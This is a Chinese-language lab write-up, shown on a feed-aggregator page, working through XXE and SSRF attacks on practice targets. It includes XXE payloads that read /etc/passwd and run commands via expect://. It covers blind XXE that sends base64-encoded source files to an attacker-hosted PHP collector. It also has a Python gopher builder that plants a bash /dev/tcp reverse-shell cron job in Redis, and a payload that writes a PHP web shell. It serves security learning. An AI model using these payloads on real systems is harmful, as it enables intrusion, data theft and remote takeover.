惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
爱范儿
爱范儿
小众软件
小众软件
阮一峰的网络日志
阮一峰的网络日志
Recent Announcements
Recent Announcements
雷峰网
雷峰网
Last Week in AI
Last Week in AI
I
InfoQ
Google DeepMind News
Google DeepMind News
GbyAI
GbyAI
The Cloudflare Blog
aimingoo的专栏
aimingoo的专栏
量子位
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Blog — PlanetScale
Blog — PlanetScale
F
Full Disclosure
D
DataBreaches.Net
S
SegmentFault 最新的问题
Hugging Face - Blog
Hugging Face - Blog
MyScale Blog
MyScale Blog
美团技术团队
V
V2EX
Jina AI
Jina AI
T
The Blog of Author Tim Ferriss
T
Tailwind CSS Blog
MongoDB | Blog
MongoDB | Blog
腾讯CDC
Vercel News
Vercel News
A
About on SuperTechFans
J
Java Code Geeks
Martin Fowler
Martin Fowler
V
Visual Studio Blog
博客园_首页
酷 壳 – CoolShell
酷 壳 – CoolShell
Recorded Future
Recorded Future
M
MIT News - Artificial intelligence
WordPress大学
WordPress大学
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
U
Unit 42
Engineering at Meta
Engineering at Meta
F
Fortinet All Blogs
Microsoft Azure Blog
Microsoft Azure Blog
P
Proofpoint News Feed
人人都是产品经理
人人都是产品经理
Y
Y Combinator Blog
云风的 BLOG
云风的 BLOG
博客园 - 三生石上(FineUI控件)
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
The GitHub Blog
The GitHub Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析 企业测试环境的弱口令需要整改吗 AI对话笔记-模板 网络安全行业招聘需求与技术能力分析 银狐木马技术原理分析与检测技术 SIEM-安全信息和事件管理 AI笔记 转载 专业备考⏳ 其他杂项🧶 Markdown 原生图片 知道创宇技能表 Prompt越狱手册 deepseek使用指南 清华大学 deepseek提问方法 markdown基本语法 数据湖:它们是什么?为什么您的组织需要一个? GitHub Codespaces velociraptor(迅猛龙)快速上手 学习windows快捷命令 学习常用 150 个Linux命令 软考中的一些概念 学习ssh基本使用 Linux系统换源输入法和包管理器 DC-8靶机 Metasploitable3下载与安装 信息收集方法及流程 防守之道 开发运维 免责声明 密码喷射攻击:防范攻击你需要知道的事项 密码学中的哈希解释:它的工作原理、算法和实际用途 应急响应术语 各种报错积累 漏洞挖掘思路 收藏夹 RDP和360星图使用 windows入侵排查 Linux入侵排查 Redis日志分析 Linux安全加固 windows安全加固 windows日志ID速查 中间件加固 数据库安全加固 windows系统提权 MySQL注入复盘 学习git版本控制工具的概念与命令 学习Web Shell 学习Linux命令 java环境配置 学习python基础语法特性解题笔记 学习Mysql基础知识 windows权限维持 学习网络及安全的一些术语 PHP代码审计 Linux系统提权 MSSQL注入复盘 Linux权限维持 命令执行和反序列化 逻辑漏洞 upload-labs 框架漏洞 学习PHP语法特性 CSRF 文件上传 Google Hacking XSS-lab XSS实验 学习URL请求后的通信过程 FOFA
XXE&SSRF
卷卷 · 2023-03-28 · via 卷卷

XXE&SSRF

XXE

漏洞复现

XXE读文件

  1. 打开xxe_Lab for PHP的靶场,抓包。​image

  2. 判断是否有XXE注入漏洞

    1、判定是否使用了xml进行数据传递

    标签、Accept: application/xml, text/xml

    2、确定是否有回显位置,或无回显,下图有回显。​

    image

  3. 写入payload。

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY a SYSTEM "file:///etc/passwd">
    ]>

    image

  4. 另一种情况是外部参数实体。

    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  5. http服务

    <!ENTITY xxe SYSTEM "file:///etc/passwd">

    image

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY[
    <!ENTITY % a SYSTEM "http://47.113.187.190:90/wai.dtd">
    %a;
    ]>
    <user><username>
    &xxe;
    </username><password>222</password></user>
  6. image

XXE判断端口开放

通过回显长度或页面特征判断


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY a SYSTEM "http://47.113.187.190:80">
]>
<user><username>
&a;
</username><password>222</password></user>

命令执行

前提:需要php环境安装了expect扩展

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY s SYSTEM "expect://whoami">        #空格可使用${IFS}替换
]>
<user><username>&s;</username><password>admin2</password></user>

expect://ls${IFS}-al        #举例

无回显XXE

无回显XXE

  1. 先在第三方VPS创建两个文件,getshell.php、shell.dtd,,,,,当请求发送后被攻击端会访问这两个文件,并将文件内容返回。
#getshell.php

<?php
file_put_contents('shellout.txt',$_GET['get']);
?>
#shell.dtd

<!ENTITY % a "<!ENTITY &#37; send SYSTEM 'http://ftp6610290.host123.sanfengyun.cn/getshell.php?get=%file;'>">
%a;
  1. 浏览器访问这两个文件看能不能访问 200image

    image

  2. payload web请求抓包

    image

    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
    <!ENTITY % s SYSTEM "http://ftp6610290.host123.sanfengyun.cn/shell.dtd">
    %s;
    %send;
    ]>
    <user><username>
    &s;
    </username><password>222</password></user>
  3. 第三方服务器查看返回来的文件内容,需要解码。

    image

  4. 坑:后面shellout.txt文件总是写不出来,需要将getshell.php的文件执行权限打开。777 ........😶(ˉ▽ˉ;)...

​​

在Kali安装Redis

wget http://download.redis.io/redis-stable.tar.gz
#解压或两次解压
tar -zxf redis-stable.tar.gz
# 进入到 redis-stable 目录
cd redis-stable
# 编译
make
cd src
#修改配置
vim redis.conf
bind 127.0.0.1注释,修改为:bind 0.0.0.0
protected-mode yes修改为 no
启动/重载配置/重启
ps -ef | grep redis    #ip为*才对
#检查防火墙
systemctl disable firewalld
cd src
./redis-server

image

image

使用centos7-redis

  1. 虚拟机启动CentOS7x64.ovf

  2. arp-scan -l 发现ip

  3. 连接

    image

1、熟悉Xml语句怎么构造,如何使用协议利用XXE漏洞。

皮卡丘靶场SSRF靶场用gopherus直接打redis

实验环境

  1. 攻击者主机 ip:172.20.10.2
  2. 内网有SSRF漏洞的主机(pikachu主机) ip:172.20.10.3
  3. 内网Redis服务器(kali/centos7-redis) ip:172.20.10.4

image

实验步骤

  1. 拼接www.baidu.com发现其可以正常访问百度,所以怀疑此处出现SSRF漏洞​image

  2. dict协议又称在线网络字典协议。通过 dict协议,可以远程访问一个指定的 TCP 端口,并且会返回端口所提供的服务的部分组件信息当目标端口开放(有服务信息显示,但会报错)可以看出目标主机的6379​端口是开放的。

    image

  3. 由于对端是6379​端口也就是redis​服务的端口,向该端口传输的数据必须是redis​规定的格式,需要查找redis​报文格式的文档构造其报文,但那样过于繁琐,所以直接在本地另外一台服务器上搭建redis​服务,通过在本地连接这台redis​服务器,并向其发送攻击时所要发送的redis​命令从而获取其流量报文,最终再配合Gopher​协议完成传输即可。

  4. 使用python构建paylod,需要再URL编码一次

    import urllib.parse
    protocol = "gopher://"
    ip = "172.20.10.4"   #redis ip
    port = "6379"   #redis port
    reverse_ip = "172.20.10.5"   #反弹的主机
    reverse_port = "8888"   #监听的端口
    cron = "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/{}/{} 0>&1\n\n\n\n".format(reverse_ip, reverse_port)
    filename = "root"
    path = "/var/spool/cron"
    passwd = ""
    
    cmd = [
        "flushall",
        "set 1 {}".format(cron.replace(" ", "${IFS}")),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save"
    ]
    
    if passwd:
        cmd.insert(0, "AUTH {}".format(passwd))
    
    payload = protocol + ip + ":" + port + "/_"
    
    
    def redis_format(arr):
        CRLF = "\r\n"
        redis_arr = arr.split(" ")
        cmd = ""
        cmd += "*" + str(len(redis_arr))
        for x in redis_arr:
            cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")
        cmd += CRLF
        return cmd
    
    
    if __name__ == "__main__":
        for x in cmd:
            payload += urllib.parse.quote(redis_format(x))
        print(payload)
    gopher://172.20.10.4:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2461%0D%0A%0A%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/172.20.10.5/8888%200%3E%261%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
    gopher%3a%2f%2f172.20.10.4%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252461%250D%250A%250A%250A%250A%250A%252A%2f1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-i%2520%253E%2526%2520%2fdev%2ftcp%2f172.20.10.5%2f8888%25200%253E%25261%250A%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2fvar%2fspool%2fcron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
  5. 主机监听172.20.10.5

    image

  6. 拿到了shell,另一种方法是通过gopher直接写shell到redis的web目录,前提是redis主机有web服务

    image

  7. 根据前面主机监听修改redis服务器密码,方便查看shell有没有上传成功。

    image

  8. 使用gopherus.py工具生成gopher的payload。

    image

  9. 拿着上方payload进行二次URL编码

    gopher%3a%2f%2f172.20.10.4%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252421%250D%250A%250A%250A%253C%253F%253D%2560%2524_GET%255Bcmd%255D%2560%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
  10. 拿着payload到pikachu靶场SSRF使用。

    image

  11. 到redis主机web目录查看有没有写成功(真实环境看不了)

    image

  12. 拿到shell,但不知为何Ant连接不了

    image

redis的4中常见攻击方式??★